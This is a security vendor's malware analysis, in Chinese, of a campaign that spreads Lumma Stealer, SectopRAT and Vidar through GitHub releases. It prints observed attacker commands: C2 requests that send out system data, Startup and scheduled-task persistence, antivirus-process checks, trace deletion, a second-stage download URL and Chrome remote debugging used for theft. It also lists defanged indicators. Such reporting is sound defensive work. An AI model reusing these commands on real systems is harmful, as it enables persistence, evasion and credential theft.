端點裝置
託管式偵測及回應團隊披露 Lumma Stealer 經由 GitHub 散布
Managed XDR 團隊調查了一起經由 GitHub 散布 Lumma Stealer 的精密攻擊行動,駭客利用該平台的版本發行基礎架構來散播 SectopRAT、Vidar 和 Cobeacon 等惡意程式。
摘要
- 趨勢科技 Managed XDR 團隊調查了一起經由 GitHub 散布 Lumma Stealer 的攻擊行動,駭客利用該平台的版本發行 (release) 基礎架構來散布各種惡意程式,包括 SectopRAT、Vidar 和 Cobeacon。
- 駭客使用 GitHub 版本發行基礎架構來突破防線,讓使用者從安全的網址下載檔案,這些檔案會將機敏資料外傳至駭客的幕後操縱 (CC) 伺服器,並執行一些指令來躲避偵測。
- Lumma Stealer 與其他惡意程式變種會在系統植入並執行其他工具,並且產生多個目錄和暫存資料,還會使用 PowerShell 腳本和指令列 (Shell) 命令來常駐於系統,並將資料外傳。
- 這起行動所用的手法、技巧和程序 (TTP),看起來與 Stargazer Goblin 集團所使用的類似,該集團同樣也使用已遭駭入的網站和 GitHub 來散布惡意檔案。分析顯示,他們使用的網址都有一定的格式,而且同樣也使用已遭駭入的正常網站來將使用者重新導向至 GitHub 代管的惡意檔案。
- 企業若能主動採取一些資安最佳實務原則及建議,將有助於強化自身的防禦來對抗像 Lumma Stealer 這樣的威脅,包括:下載前預先檢查一下網址和檔案、定期檢查數位憑證,以及採用可偵測及防範惡意活動的端點防護解決方案。
簡介
Trend Micro™ Managed XDR 服務團隊發現了一起精密的攻擊行動利用 GitHub 的版本發行 (release) 基礎架構來散布 Lumma Stealer 資訊竊取程式。根據調查顯示,駭客利用人們對 GitHub 平台的信任來散布資訊竊取程式以便進行其他後續惡意活動,接著,它會下載並執行其他惡意程式,包括:SectopRAT 遠端存取木馬程式、Vidar、Cobeacon 以及其他 Lumma Stealer 變種。
這起攻擊行動與 Stargazer Goblin 集團使用的攻擊手法有諸多雷同之處,都是利用已遭駭入的網站和 GitHub 儲存庫來散布惡意檔案。除此之外,從其感染程序不斷變換以及使用各式各樣惡意檔案來看,證明該集團擁有良好的適應力,而且手法會不斷演進。
本文剖析了這起攻擊所用的手法、技巧與程序 (TTP),並點出資安威脅情報對於發掘駭客的攻擊策略扮演何種關鍵角色。
突破防線
我們在追溯這兩起不同 Lumma Stealer 案例最早的入侵點時,發現它們都是因為使用者從 GitHub 的版本發行基礎架構下載了檔案。其中一個案例,使用者經由 Google Chrome 瀏覽器下載了名為「Pictore.exe」的檔案,其網址指向 GitHub 代管的一個發行版本,儲存在雲端服務供應商上。另一起案例也是類似的情況,但下載的檔案為「App_aeIGCY3g.exe」,該檔案同樣也是暫時存放在 GitHub 的版本發行機制。這些案例示範了駭客利用人們信賴的平台 (如 GitHub) 來散播惡意檔案的手法。
這兩個檔案當初是由 ConsolHQ LTD 和 Verandah Green Limited 所簽署 (分別在 2024 年 12 月 6 日和 12 月 12 日),但其憑證已經被發行機構公開撤銷,表示這些檔案現在已被視為不可信賴,而且可能為惡意檔案。
以下是我們從監測資料當中擷取出來的 GitHub 網址字串:
https[:]//objects.githubusercontent[.]com/github-production-release-asset-2e65be/898537481/194f6acb-d420-4d97-b7c1-01741d4bc184?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241204%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241204T193520Z&X-Amz-Expires=300&X-Amz-Signature=80e7a9318067557b21a24d1906ab3f05a5f250eb63dde4dd8a3335908953a46a&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DPictore.exe&response-content-type=application%2Foctet-stream
這個例子中的網址提供了一個臨時的安全權限從 GitHub 的版本發行儲存區下載一個名為「Pictore.exe」的檔案,其中的「X-Amz-Expires」參數代表該網址的有效期限只有 300 秒 (5 分鐘)。此外,使用預先簽署網址的作法,也顯示該檔案隸屬於某個 GitHub 儲存庫底下的發行版本,確保下載時需經過認證,且時間有限。
執行
我們發現「Pictore.exe」和「App_aeIGCY3g.exe」這兩個檔案其實就是 Lumma Stealer 惡意程式,專門竊取各種機敏資訊,如:登入憑證、虛擬加密貨幣錢包、系統資訊以及檔案,此外還能與駭客掌控的伺服器通訊,進一步從事更多惡意活動。由於這兩個檔案的行為大致相同,因此本文主要討論我們從 Pictore.exe 所蒐集到的資料。
Pictore.exe 執行時會產生以下檔案:
- nsis7z.dll
- app-64.7z
- System.dll
- nse2869.tmp
- nsu27DC.tmp
被植入的檔案「C:\Users\<username>\AppData\Local\Temp\1\nse2869.tmp\nsis7z.dll」是一個 7zip 檔案壓縮工具,用來解開以下壓縮檔:C:\Users\<username>\AppData\Local\Temp\1\nse2869.tmp\app-64.7z。
壓縮檔「app-64.7z」中的檔案會解開至以下目錄:C:\Users\<username>\AppData\Local\Temp\1\nse2869.tmp\7z-out\,其中包含了 Lumma Stealer 及其元件。從這些檔案看來,惡意執行檔是使用 Electron 所開發 (透過 Chromium 來產生使用者介面),或者本身就是一個基於 Chromium 的應用程式。
Electron 應用程式預設會將 Chromium 包含在應用程式當中,用來產生圖形使用者介面。此外,它使用了「.pak」檔案和 V8 快照之類的 Chromium 資源,也代表它很可能是一個 Electron 應用程式。
我們觀察到 Pictore.exe 連上了兩個外部 IP 位址,有可能是它的幕後操縱 (CC) 伺服器,分別為:192[.]142[.]10[.]246:80 和 192[.]178[.]54[.]36:443。至於 App_aeIGCY3g.exe 則是經由連接埠 80 連上「84[.]200[.]24[.]26」。
在查看我們的 Trend Vision One™ 監測資料時,我們發現了發送至以下兩個外部 IP 位址的 HTTP 請求:192[.]142[.]10[.]246 和 84[.]200[.]24[.]26 :
GET hxxp://192[.]142[.]10[.]246/login.php?event=init&id=Y3VjdW1iZXI=&data=MTYgR0JfW29iamVjdCBPYmplY3RdX01pY3Jvc29mdCBCYXNpYyBEaXNwbGF5IEFkYXB0ZXJfdHJ1ZV8xNDAweDEwNTBfV2luZG93cyAxMCBQcm9fMyBtaW51dGVzICgwLjA2IGhvdXJzKV9DOlxVc2Vyc1xCcnVub19ERVNLVE9QLUVUNTFBSk9fQnJ1bm9fV2luZG93c19OVF94NjRfMTAuMC4xOTA0NF9DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcQnJ1bm9cQXBwRGF0YVxMb2NhbFxUZW1wX0RFU0tUT1AtRVQ1MUFKT19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCA4NSBTdGVwcGluZyA3LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfNF9DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXExvY2FsXFRlbXBcMnBsRVRXRzM1RXdheU5zRnBXQ01Xcnd2VnJnXFBpY3RvcmUuZXhl
GET hxxp://84[.]200[.]24[.]26/login.php?event=init&id=dW5kZXJza2lydA==&data=MTYgR0JfW29iamVjdCBPYmplY3RdX01pY3Jvc29mdCBCYXNpYyBEaXNwbGF5IEFkYXB0ZXJfdHJ1ZV8xMjgweDk2MF9XaW5kb3dzIDEwIFByb18zIG1pbnV0ZXMgKDAuMDYgaG91cnMpX0M6XFVzZXJzXEJydW5vX0RFU0tUT1AtRVQ1MUFKT19CcnVub19XaW5kb3dzX05UX3g2NF8xMC4wLjE5MDQ0X0M6XFVzZXJzXEJydW5vXEFwcERhdGFcUm9hbWluZ19DOlxVc2Vyc1xCcnVub1xBcHBEYXRhXExvY2FsXFRlbXBfREVTS1RPUC1FVDUxQUpPX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDg1IFN0ZXBwaW5nIDcsIEdlbnVpbmVJbnRlbF9BTUQ2NF9DOl80X0M6XFVzZXJzXEJydW5vXEFwcERhdGFcTG9jYWxcVGVtcFwycHBydEJkanpoZjVpVnRUZkFKVDVhTnNSeERcU2NpZWxmaWMuZXhl 200
網址中的字串解碼後如下:
hxxp://192[.]142[.]10[.]246/login.php?event=init&id=cucumber=&data=16 GB_[object Object]_Microsoft Basic Display Adapter_true_1400x1050_Windows 10 Pro_3 minutes (0.06 hours)_C:\Users\<username>_DESKTOP-<computername>_<username>_Windows_NT_x64_10.0.19044_C:\Users\<username>\AppData\Roaming_C:\Users\<username>\AppData\Local\Temp_DESKTOP-<computername>__Intel64 Family 6 Model 85 Stepping 7, GenuineIntel_AMD64_C:_4_C:\Users\<username>\AppData\Local\Temp\2plETWG35EwayNsFpWCMWrwvVrg\Pictore.exe
GET hxxp://84[.]200[.]24[.]26/login.php?event=init&id=underskirt==&data=16 GB_[object Object]_Microsoft Basic Display Adapter_true_1280x960_Windows 10 Pro_3 minutes (0.06 hours)_C:\Users\<username>_DESKTOP-<computername>_<username>_Windows_NT_x64_10.0.19044_C:\Users\<username>\AppData\Roaming_C:\Users\<username>\AppData\Local\Temp_DESKTOP-<computername>__Intel64 Family 6 Model 85 Stepping 7, GenuineIntel_AMD64_C:_4_C:\Users\<username>\AppData\Local\Temp\2pprtBdjzhf5iVtTfAJT5aNsRxD\Scielfic.exe
從這些字串可看出惡意程式會蒐集一些系統資訊,包括:記憶體大小、顯示器介面卡、作業系統版本、主機名稱、系統運作時間、使用者目錄路徑,以及暫存目錄的內容。接著,這些資料很可能被外傳到駭客掌控的伺服器 (192[.]142[.]10[.]246 和 84[.]200[.]24[.]26)。
以下是 Pictore.exe (以及 App_aeIGCY3g.exe) 用到的指令列命令:
指令列 | 詳細說明 |
---|---|
Pictore.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\ <redacted>\AppData\Roaming\qfwbhfiixlbsvkug" --mojo-platform-channel-handle=2472 --field-trial-handle=1996,i,16339862247624116936, 1579335656413102094,131072 -- disablefeatures= SpareRendererForSitePerProcess, WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 |
這道指令會蒐集 GPU 相關資訊,如:廠商識別碼 (ID)、裝置識別碼、驅動程式版本等等。它會停用 GPU 沙盒模擬分析功能來避免被那些會監控 GPU 處理程序的資安軟體所偵測。它會檢查 GPU 的組態設定來偵測 GPU 是否正在虛擬化環境中執行 (這對資安實驗室和沙盒模擬環境來說很常見)。 |
Pictore.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\ <redacted>\AppData\Roaming\qfwbhfiixlbsvkug" --mojo-platform-channel-handle=2472 --field-trial-handle=1996,i,16339862247624116936, 1579335656413102094,131072 -- disable-features= SpareRendererForSitePerProcess, WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 |
這道指令會蒐集網路相關資訊,如:服務與平台的頻道代碼 (channel handle),以便與惡意服務建立通訊。它會停用某些功能來避免被偵測,並強化 Lumma Stealer 的功能。它會設定一個自訂的使用者資料目錄來儲存或暫存資料,使用特定旗標來避開沙盒模擬分析機制,藉此躲避資安工具的監控。 |
Pictore.exe --type=gpu-process --user-data-dir="C:\Users\<redacted>\AppData\Roaming\qfwbhfiixlbsvkug" --gpu- "preferences=UAAAAAAAAADgAAAYAAAAA AAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAA AAAAAQAAAAAAAAAAAAAAA AAAAAAAAAABgAAAAAAAAA GAAAAAAAAAAIAAAAAAAAAAgAAAAAAAA ACAAAAAAAAAA= --mojo-platform-channel-handle=2000 --field-trial- handle= 1996,i,16339862247624116936,1579335656413102094,131072 --disable-features=SpareRendererForSitePerProcess, WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 |
這道指令會蒐集 GPU 偏好設定來調整系統行為以躲避偵測、使用自訂的使用者資料目錄來暫存資料,並停用一些功能來躲避偵測。使用已編碼的 GPU 設定與平台代碼,代表它會與駭客掌控的服務暗中通訊,同時避開資安軟體。 |
powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - | 這道指令會啟動無腳本執行限制的 PowerShell,並且不載入設定檔和標誌、讓工作階段保持開啟狀態以接收進一步指令,同時還允許經由管道 (pipeline) 執行其他程式碼 (通常用於執行隱匿或惡意的活動)。 |
C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log"" | 這道指令使用「findstr」指令搜尋「setupact.log」檔案中是否有「Detected boot environment」字串,這通常用於在設定或安裝過程中檢查系統的啟動環境,可能是為了蒐集有關系統狀態的資訊以供偵查用途。 |
C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" | 這道指令會顯示電腦的完整網域名稱 (FQDN),也就是電腦名稱 (%COMPUTERNAME%) 加 DNS 網域 (%USERDNSDOMAIN%) 的組合,這通常用來蒐集系統網路組態設定相關資訊,尤其是電腦的名稱和網域。 |
C:\Windows\system32\cmd.exe /d /s /c "chcp" | 這道指令會設定指令列介面所使用的語言,用來確保惡意程式在不同的地理區域設定下都能正常運作。 |
表 1:指令列命令。
SectopRAT、Visar 和 Lumma Stealer
我們發現,最初的 Lumma Stealer 檔案:Pictore.exe 和 App_aeIGCY3g.exe 會在受害電腦上植入各種工具和惡意程式,如:SeptopRAT、Vidar、Cobeacon 以及另一個 Lumma Stealer 變種。這些都是先產生在暫存目錄底下隨機命名的資料夾內 (而且很可能是動態產生的資料夾),然後再加以執行。
以下是惡意檔案產生的 SectopRAT 檔案:
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\1\yVUCCXe3c5E4qLcCd4\PillsHarvest.exe""
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\1\yVUCCXe3c5E4qLcCd4\BelfastProt.exe""
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\cxCzdFWzpj8waIrVyr\HumanitarianProvinces.exe””
- C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\<username>\AppData\Local\Temp\2pprtBdjzhf5iVtTfAJT5aNsRxD\Scielfic.exe””
請注意,由於所有 SectopRAT 檔案的行為其實都一樣,所以這裡我們只挑「HumanitarianProvinces.exe」這個檔案來分析。
當 HumanitarianProvinces.exe 執行之後,它會在「C:\Users\<user>\AppData\Local\Temp\」暫存目錄內產生了多個隨機命名的目錄。以下是這些目錄名稱的一些範例:
- Now、Eternal、Pressing、Recommend、Sen、Schema、Openings、Access、Earn、Signup、Cheats、Gift、Silver、Statutory、Reprints、Rwanda、Brain、Advertiser、Inventory、Herald、Restricted、Sheer、Baghdad、Memories、Spent、Fever。
接著,它會將「Signup」這個檔案重新命名成「Signup.cmd」,將副檔名改成「.cmd」是為了方便它直接執行這個腳本:
CLI command: "C:\Windows\System32\cmd.exe" /c copy Signup Signup.cmd && Signup.cmd
腳本內含一道指令來將暫存目錄中的多個檔案串接成一個檔名為「t」的檔案。它似乎會複製一些它植入的檔案,並檢查電腦上的某些特定檔案。腳本中的指令所做的事情包括:將多個檔案合併成一個二進位檔案、建立暫存用目錄、加入延遲來躲避偵測或進行同步,以及執行偵查。
指令 | 說明 |
---|---|
choice /d y /t 5 | 在延遲 5 秒之後自動選擇預設的「y」選項。 |
cmd /c copy /b ..\Sen + ..\Silver + ..\Reprints + ..\Cheats + ..\Gift + ..\Openings + ..\Rwanda + ..\Statutory + ..\Schema + ..\Baghdad + ..\Inventory + ..\Recommend + ..\Earn + ..\Eternal + ..\Access t | 將先前在上層目錄中建立的檔案串接成一個名為「t」的二進位檔案。 |
findstr /V "LOCKLANESTHICKCAPTAINSPOTCMSFAVOURITEASSESSED" Advertiser | 搜尋「Advertiser」檔案中不含任何指定字詞的資料行。 |
cmd /c md 201626 | 在當前工作目錄下建立一個名為「201626」的新目錄。 |
findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" | 搜尋是否有防毒軟體或資安軟體相關的處理程序或服務。 |
tasklist | 顯示系統上目前正在執行的處理程序清單。 |
findstr /I "wrsa opssvc" | 以不區分大小寫方式搜尋與「wrsa」或「opssvc」這兩個字相關的防毒軟體或資安軟體。 |
Denmark.com t | Denmark.com (一個 AutoIt 腳本) 執行經由串接產生的二進位檔案「t」,在其他情況下為:Sports.com、 Privilege.com、Fabric.com。 |
表 2:腳本指令。
- 建立的目錄:C:\Users\<username>\AppData\Local\Temp\201626
- 建立的檔案:C:\Users\<username>\AppData\Local\Temp\201626\Denmark.com
從記錄檔內執行 Denmark.com (AutoIt3.exe) 的動作就能可看出這是一起精密的攻擊,目的是要竊取資料、常駐於系統,然後進一步入侵目標電腦。具體的作法包括:建立開機自動執行機制、複製瀏覽器 Cookie 等機敏資訊,並且使用「RegAm.exe」這類正常工具將惡意程式碼注入處理程序以便連上 CC 伺服器 (91[.]202[.]233[.]18)。
- GET hxxp://91[.]202[.]233[.]18:9000/wbinjget?q=B2E581C85432BD4DF6A59A00CBDA1CB3
如圖 7 所示,SectopRAT 還會將 Chrome 瀏覽器資料複製到本機暫存資料夾「C:\Users<user>\AppData\Local\Google\Chrome\User Data」。歹徒經常複製這些資料來竊取瀏覽器儲存的登入憑證、連線階段 Cookie、自動填入資訊,以及瀏覽歷程記錄,以便竊取帳號、盜用使用者身分和執行進一步攻擊。
此外,我們也發現它會利用系統啟動資料夾 (Startup) 來常駐於系統。以下指令會在 Windows 的啟動資料夾中建立一個「.url」(捷徑) 檔案來確保系統在開機時會執行「healthPulse.url」:
cmd /k echo [InternetShortcut] > "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HealthPulse.url" & echo URL="C:\Users\<username>\AppData\Local\WellnessPulse Solutions\HealthPulse.js" >> "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HealthPulse.url" & exit
HealthPulse.url 是一個用來執行 HealthPulse.js 腳本的網際網路捷徑檔案。接著,HealthPulse.js 會使用 ActiveX 來執行「HealthPulse.scr」(一個 AutoIt 檔案)。
在某些受害電腦上,SectopRAT 會建立排程工作來常駐於系統內。如以下指令所示,一個名為「Lodging」的排程工作每五分鐘會執行一次「Quantifyr.js」腳本:
cmd /c schtasks.exe /create /tn "Lodging" /tr "wscript //B 'C:\Users\<username>\AppData\Local\Innovative Analytics Solutions\Quantifyr.js'" /sc minute /mo 5 /F
「DesignersCrawford.exe」檔案就是我們所指的 Vidar 惡意程式,它一開始的動作與前面分析的檔案類似,包括產生「Privilege.com 」(AutoIt3.exe) 檔案來輔助 Vidar 的攻擊行動,指令如下:
processCmd: Privilege.com E
objectCmd: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Vidar 會啟動 Chrome 瀏覽器並指定它啟用一個遠端除錯連接埠 (9223),然後載入預設的使用者設定檔。這個遠端除錯連接埠可讓外部處理程序 (包括駭客) 與瀏覽器的執行個體互動。
接著從 Microsoft OneDrive 和 Discord 複製瀏覽器資料與雲端儲存資料至「C:\ProgramData\S2VKXL68GLN7\<6 random char>」資料夾,包括以下資料:
- Discord LevelDB 檔案,內含使用者活動、設定、Discord 使用的快取資訊等資料。
- Chrome 使用者資料,通常儲存在「AppData\Local\Google\Chrome\User Data」資料夾內,內含設定檔、工作階段資料以及快取檔案。
- Microsoft Edge 設定檔資料,包括使用者偏好設定、Cookie 以及連線階段資料。
- Mozilla Firefox 資料,包括儲存密碼時使用的加密金鑰、其他安全性資料 (如憑證) 以及備份。
- OneDrive 同步檔案。
當資料在進行複製時,會出現一個對外連線至 5[.]75[.]212[.]196:443 的遠端伺服器,這有高機率是資料外傳的徵兆,駭客很可能正在將竊取到的資訊傳送至遠端伺服器,以供後續利用。此外,系統還會連上「ikores[.]sb」這個已知與 Vidar 相關的網域。
為了躲避偵測,它會使用「rd /s /q」這道指令來刪除「C:\ProgramData\S2VKXL68GLN7」目錄及其所有內容。這道指令會移除指定的目錄及其子目錄而不會顯示確認訊息,確保資料夾內的任何檔案或痕跡都會被暗中清除。開頭的「timeout /t 10」指令會加入一個 10 秒的延遲,這可能是為了避免被立即發現,或是要讓其他處理程序先完成作業再執行清除工作。最後,「exit」指令會關閉指令列介面並完成整個程序:
CLI command: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\S2VKXL68GLN7" & exit
另一個被植入的檔案「ResetEngaging.exe」就是我們所指的 Lumma Stealer 變種。ResetEngaging.exe 與其他被植入的檔案一樣會建立一個 AutoIt3 檔案 (Fabric.com) 來輔助惡意程式執行:
CLI command: Fabric.com V
這道指令會觸發 DNS 查詢至「lumdukekiy[.]shop」(一個與 Lumma Stealer 相關的網域),這會讓駭客存取 Chrome 瀏覽器位於「C:\Users<user>\AppData\Local\Google\Chrome\User Data」的資料。其目的是為了蒐集資訊,如:儲存的登入憑證、工作階段 Cookie、自動填入資訊,以及瀏覽歷程記錄。
此外,還會在暫存目錄內建立一個 PowerShell 腳本 (GZ7BLVTR7HDJSNI8Z66BYYANMD.ps1)。此腳本內含加密編碼的指令,用來試圖連上正常的外部網域。這些請求的作用似乎是為了檢查連線,可能是為了確保受駭系統能夠連上外部伺服器,然後再下載其他惡意檔案,或接收來自 CC 基礎架構的進一步指示。
此腳本會從「hxxps://klipcatepiu0[.]shop/int_clp_sha[.]txt」下載並解開一個 ZIP 檔案,並儲存到暫存目錄。此 ZIP 檔案內含執行檔,隨後會解開來執行。
駭客溯源
此次攻擊行動所觀察到的手法,與 Stargazer Goblin 威脅集團的手法有很大雷同 (如 Check Point Research 在其 2024 年 7 月的 Atlantida Stealer 攻擊行動報告中所指出)。儘管兩者的感染程序和具體的細節有所差異,但有幾個關鍵要素是一致的:
- 已遭駭入的網站:用來部署驗證和重導所需的惡意 PHP 腳本。
- GitHub 儲存庫:利用人們信賴的平台來存放和散布惡意檔案。
- 重新導向基礎架構:採用量身訂製的重新導向機制來將受害者導向惡意內容。
根據 VirusTotal 對下載檔案的分析顯示,受害者在被重導至惡意的 GitHub 版本發行機制之前會先與某個源頭網址互動,重導之後使用者就能下載惡意檔案。
藉由分析送交到 VirusTotal 的類似檔案,我們觀察到它們的源頭網址路徑都有一定的格式。這些路徑大多都含有「page」這個字,這有可能是駭客的命名習慣。
SHA256 雜湊碼 | 源頭網址 | GitHub 版本發行檔案 |
---|---|---|
de6fcdf58b22a51d26eacb0e2c992d 9a894c1894b3c8d70 f4db80044dacb7430 |
hxxps://eaholloway[.]com /updatepage333 |
hxxps://github[.]com /viewfilenow/Downloadnew/| releases/download/3214214/Pictore.exe |
afdc1a1e1e934f18be28465315704a12 b2cd43c186fbee94 f7464392849a5ad0 |
hxxps://afterpm[.]com /pricedpage/ |
hxxps://github[.]com/down4up/ 44/releases/download/ 33/App_aeIGCY3g.exe |
hxxps://enricoborino[.]com /propage66 |
||
b87ff3da811a598c284997222e0b5a 9b60b7f79206f8d795 781db7b2abd41439 |
hxxp://sacpools[.]com /pratespage |
hxxps://github[.]com/zabdownload/ v14981950815/releases/download/ 23113123/Squarel_JhZjXa.exe |
cd207b81505f13d46d94b08fb5130dd ae52bd1748856e6b474 688e590933a718 |
hxxps://startherehosting.net /todaypage |
hxxps://github[.]com/g1lsetup/iln7 /releases/download/ 423425325/NanoPhanoTool.exe |
hxxps://kassalias[.]com /pageagain/ |
||
hxxps://pmpdm[.]com /webcheck357 |
||
823d37f852a655088bb4a81d2f3a8 bfd18ea4f31e7117e5713 aeb9e0443ccd99 |
hxxps://ageless-skincare[.]com/gn/ | hxxp://github[.]com/yesfound/worked /releases/download/ 1/QilawatProtone.exe |
380920dfcdec5d7704ad1af1ce35fe ba7c3af1b68ffa4 588b734647f28eeabb7 |
hxxps://compass-point-yachts[.]com /nicepage77/pro77.php |
hxxps://github[.]com/down7/Settingup /releases/download/ set/NativeApp_G5L1NHZZ.exe |
d8ae7fbb8db3b027a832be6f1acc4 4c7f5aebfdcb306c d297f7c30f1594d9c45 |
hxxps://pmpdm[.]com /webcheck/ |
hxxps://github[.]com/JF6DEU/vrc121 /releases/download/ 2025/X-essentiApp.ex_ |
hxxps://github[.]com/g1lsetup/v2025 /releases/download/ ex/X-essentiApp.exe |
||
15b195152a07bb22fec82aa5c90c7 ff44a10c0303446ce 11f683094311a8916b |
hxxps://comicshopjocks[.]com /nicepage/pro.php |
hxxps://github[.]com/dowwnloader /FileSetup /releases/download/ 124124125/NativeApp_azgEO1k4.exe |
800c5cd5ec75d552f00d0aca42bda de317f12aa797103b93 57d44962e8bcd37a |
hxxps://lakeplacidluxuryhomes[.]com /updatepage/ |
hxxps://github[.]com/magupdate /Freshversion10/releases/download/ 12315151/NativeApp_01C02RhQ.exe |
hxxps://lakeplacidluxuryhomes[.]com /webpage37/ |
||
hxxps://lakeplacidluxuryhomes[.]com /pagenow/ |
||
5550ea265b105b843f6b094979bfa 0d04e1ee2d1607b2e0 d210cd0dea8aab942 |
hxxps://primetimeessentials[.]com /newpagyes/ |
hxxps://github[.]com/kopersparan /Downloadable /releases/download/ 314/Paranoide.exe |
3e8ef8ab691f2d5b820aa7ac80504 4e5c945d8adcfc51ee7 9d875e169f925455 |
hxxps://razorskigrips[.]com /newnewpage/ |
hxxps://github[.]com/mp3andmovies /installer /releases/download/ versoin4124/AevellaAi.2.exe |
表 3:從 VirusTotal 上蒐集到的類似檔案。
使用者最初互動的網域目前已無法存取,不過,根據 Internet Archive 的「Wayback Machine」提供的快照顯示,這些都是一般正常且活躍多年的網站,有些至少可追溯至 1999 年。不過這些網站都已遭駭客入侵,使得駭客可注入惡意頁面和腳本來將使用者重導至 GitHub 代管的惡意檔案。
駭客通常會在攻擊過程當中插入以下輔助檔案:一個作為基礎下載影像的影像檔 (如「/img/dwn.jpg」或「/img/download.jpg」),以及一個用於管理攻擊過程的重導動作或驗證使用者互動的 PHP 腳本 (如「/pro.php」和「/sleep.php」)。
不僅如此,我們也看出其中一個網站是使用 WordPress 所架設,突顯出這很可能是該集團的攻擊策略經常瞄準的一個弱點。
「源頭網址」一節所列的絕大多數 GitHub 帳號目前都已無法存取,而且很可能因為散播惡意檔案而遭到停用。不過,仍有兩個帳號處於活躍狀態,且仍提供惡意的發行版本:
- hxxps://github[.]com/magupdate – joined 12/04/2024
- hxxps://github[.]com/yesfound/ – joined 12/11/2024
分析這兩個帳戶的活動,顯示它們僅有少量的特定動作:
- 這兩個帳號都是新建立的。
- 他們的唯一活動就是建立一個儲存庫並發行一個惡意檔案。
- 儲存庫名稱使用一個敘述性文字再加一個數字的格式,其「Readme.md」內容有部分或全部取自儲存庫名稱。
儘管這次攻擊行動所觀察到的手法與 Stargazer Goblin 駭客集團很像,但其執行方式卻有顯著差異。感染程序一開始都利用已遭駭入的網站將使用者重導至惡意的 GitHub 版本發行連結,其使用的網址通常含有「page」這個字,表示這是一種命名上的習慣。
這些已遭駭入的網站 (少有一個是利用 WordPress 架設的網站) 用來存放重導機制所需的檔案,包括基本影像檔案和 PHP 腳本,意味著這很可能是該集團攻擊策略當中經常利用的一個弱點。
攻擊行動中使用的 GitHub 帳號沒有太多活動,主要是建立儲存庫及存放惡意發行版本。兩個帳號的行為都很固定:建立使用敘述性名稱的儲存庫和發行版本,其 Readme.md 內容與儲存庫名稱非常相似。有別於以往使用 GitHub 帳號的攻擊行動,這些帳號似乎並未刻意建立聲望。
在單一感染事件中植入多個惡意程式家族,包括:Lumma Stealer、Visar 和 SectopRAT,顯示駭客的戰略目標是要對受害者造成最大的衝擊。而手法上的變換代表駭客刻意做出調整來躲避偵測並增加攻擊彈性。
防範措施與建議
- 企業可考慮採取以下威脅防範最佳實務原則來降低或防範 Lumma Stealer 這類惡意程式對其系統的衝擊:
- 在下載和執行之前預先檢查一下網址和檔案,尤其是來自 GitHub 這類可能散播惡意程式的平台。
- 對於不請自來的電子郵件中的連結和附件檔案要小心檢查,即使它們看起來很正常。在點選之前,先將滑鼠游標移到連結上方停一下來查看其實際的目的地。
- 定期檢查執行檔的數位憑證是否有效,以確保憑證未被撤銷。
- 採用端點防護解決方案來偵測及防止未經授權的指令列命令執行,例如 Lumma Stealer 用於偵查或資料外傳的指令。
- 偵測並封鎖與已知惡意 IP 位址的通訊,強制實施嚴格的防火牆規則來防範 CC 通訊,並監控異常的對外流量。
- 訓練員工認識可能讓他們感染惡意程式的網路釣魚郵件、惡意網站,以及社交工程技巧。
- 考慮與 MDR 廠商合作來取得相關專業能力,以及即時的威脅偵測、分析、遏制能力,盡可能降低感染的衝擊。
- 採用 Trend Vision One 這類工具來將威脅情報融入您的資安當中,強化針對特定駭客集團或攻擊行動的偵測與溯源能力。
- 定期修補作業系統、瀏覽器、第三方應用程式來消除可能遭到攻擊的漏洞。
- 在所有帳戶上啟用多重認證 (MFA),如此可降低登入憑證失竊所帶來的衝擊。
- 採用一套零信任方法,對於所有的使用者、程式碼、連結以及第三方整合功能皆採取「絕不信任、持續驗證」的原則,以降低暴露於潛在威脅的風險。
Trend Vision One
Trend Vision One 是一套能簡化資安作業的企業網路資安平台,藉由整合多種防護功能、強化企業對攻擊面的掌握,以及提供資安風險狀況的全方位可視性,來協助企業更快偵測及攔截威脅。這套雲端式平台,運用了 AI 以及來自全球 2.5 億個感測器與 16 個威脅研究中心的威脅情報,在單一解決方案當中提供了完整的風險洞見、早期威脅偵測,以及自動化風險與威脅回應選項。
Trend Vision One 威脅情報
要隨時掌握持續演變的威脅,採用Trend Vision One 的客戶可從 Vision One 內部取得各種情報 (透過 Intelligence Reports) 與威脅洞見 (透過 Threat Insights)。Threat Insights 可幫助客戶在威脅發生之前便提前掌握,並對新興的威脅預先做好準備,提供有關駭客、惡意活動及駭客技巧的完整資訊。善用這些情報,客戶就能主動採取步驟來保護自己的環境、防範風險,並且有效回應威脅。
- 託管式偵測及回應團隊披露 Lumma Stealer 經由 GitHub 散布
追蹤查詢
Trend Vision One 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。
